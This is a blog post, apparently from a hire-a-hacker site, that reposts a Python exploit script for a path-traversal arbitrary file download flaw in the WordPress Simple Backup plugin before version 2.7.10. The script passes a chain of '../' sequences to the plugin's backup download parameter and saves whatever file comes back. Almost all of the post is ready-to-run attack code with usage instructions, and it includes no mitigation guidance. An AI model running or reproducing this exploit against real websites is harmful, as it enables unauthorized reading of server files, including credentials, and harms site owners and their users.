Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86369304

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Simple Backup Plugin < 2.7.10 - Arbitrary File Download via Path Traversal
# Date: 2024-03-06
# Exploit Author: Ven3xy
# Software Link: https://downloads.wordpress.org/plugin/simple-backup.2.7.11.zip
# Version: 2.7.10
# Tested on: Linux

import sys
import requests
from urllib.parse import urljoin
import time

def exploit(target_url, file_name, depth):
    traversal = '../' * depth

    exploit_url = urljoin(target_url, '/wp-admin/tools.php')
    params = {
        'page': 'backup_manager',
        'download_backup_file': f'{traversal}{file_name}'
    }

    response = requests.get(exploit_url, params=params)

    if response.status_code == 200 and response.headers.get('Content-Disposition') \
            and 'attachment; filename' in response.headers['Content-Disposition'] \
            and response.headers.get('Content-Length') and int(response.headers['Content-Length']) > 0:
        print(response.text)  # Replace with the desired action for the downloaded content

        file_path = f'simplebackup_{file_name}'
        with open(file_path, 'wb') as file:
            file.write(response.content)

        print(f'File saved in: {file_path}')
    else:
        print("Nothing was downloaded. You can try to change the depth parameter or verify the correct filename.")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_url> <file_name> <depth>")
        sys.exit(1)

    target_url = sys.argv[1]
    file_name = sys.argv[2]
    depth = int(sys.argv[3])
    print("\n[+] Exploit Coded By - Venexy    ||    Simple Backup Plugin 2.7.10  EXPLOIT\n\n")
    time.sleep(5)


    exploit(target_url, file_name, depth)